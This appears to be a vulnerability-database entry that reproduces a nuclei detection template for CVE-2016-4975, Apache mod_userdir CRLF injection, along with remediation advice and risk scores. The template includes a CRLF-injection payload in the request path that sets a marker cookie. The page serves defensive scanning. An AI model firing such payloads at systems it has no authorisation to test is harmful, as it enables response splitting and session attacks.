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Apache mod_userdir CRLF injection

🗓️ 23 Jun 2026 05:08:33Reported by ProjectDiscoveryType 
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 nuclei
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Apache mod_userdir CRLF injection allowing HTTP response splitting attacks. Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher

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id: CVE-2016-4975

info:
  name: Apache mod_userdir CRLF injection
  author: melbadry9,nadino,xElkomy
  severity: medium
  description: Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.
  impact: |
    Successful exploitation of this vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher.
  reference:
    - https://httpd.apache.org/security/vulnerabilities_22.html#CVE-2016-4975
    - https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2016-4975
    - https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E
    - https://lists.apache.org/thread.html/84a3714f0878781f6ed84473d1a503d2cc382277e100450209231830@%3Ccvs.httpd.apache.org%3E
    - https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f@%3Ccvs.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-4975
    cwe-id: CWE-93
    epss-score: 0.19798
    epss-percentile: 0.97071
    cpe: cpe:2.3:a:apache:http_server:2.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2016,cve,crlf,apache,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4a0a00473045022100df37158395db147ec9467e49bf89c4ea48eb705ce93edc2d057aaeb6ef968f8f0220526a7a211fed9388bd6fb4fbc27bbf60eceac71cfd029bdf8201d038e333ec59:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24.3
CVSS 36.1
EPSS0.19798
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